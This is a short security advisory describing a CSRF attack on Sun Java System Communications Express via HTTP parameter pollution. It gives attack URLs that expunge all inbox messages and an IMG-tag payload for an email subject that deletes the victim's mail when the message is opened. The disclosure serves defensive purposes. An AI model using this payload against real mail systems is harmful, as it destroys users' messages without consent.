Sun Java System Communication Express CSRF via HPP

Hello,

As a continuation of my advisory about "Sun Java System Communications Express Multiple HTML Injection
Vulnerabilities" that can be found here: (http://www.securityfocus.com/bid/34083/info), I would like to
introduce another potential security threat in the same product and based on my previous discussion.

This time an attacker can benefit from the HTML injection flaw found in the message subject field to
launch a deadly CSRF attack that would delete all the victim's inbox messages permanently and forever. The
attack is done via HPP (HTTP Parameter Pollution) in the main queries used by the system.

The URL below would move all the messages with msgid between 0 and 1000000 to the trash:
http[s]://[servername]:[port]/cmd.msc?sid=&mbox=INBOX&cmd=move&argv=0:1000000&argv=Trash&argv=expunge

The URL below would delete all the messages in the trash with msgid between 0 and 1000000:
http[s]://[servername]:[port]/cmd.msc?sid=&mbox=Trash&cmd=expunge&argv=0:1000000&argv=force

It is easier for an attacker to assemble the above two HTML queries into a simple one that would achieve
the same goal for him. So why not deleting the messages directly from the inbox instead of passing them to
the trash and then deleting them?!
The following HTTP query would do the job perfectly:
http[s]://[servername]:[port]/cmd.msc?sid=&mbox=INBOX&cmd=expunge&argv=0:1000000&argv=force

So finally, what a hacker would do in a normal attack is to send the victim a message with the following
subject:
<IMG
SRC=http[s]://[servername]:[port]/cmd.msc?sid=&mbox=INBOX&cmd=expunge&argv=0:1000000&argv=force></IMG>
The payload was injected as a source for an image file so that it will load with the page as soon as the
message is opened.

Now by sending the message, that attacker have crafted a malicious CSRF that would delete all the
victim's inbox messages permanently.
In order for this attack to succeed, the victim must only open the malicious message and the exploit will
work.

Best regards,
Edgard Chammas [454447415244]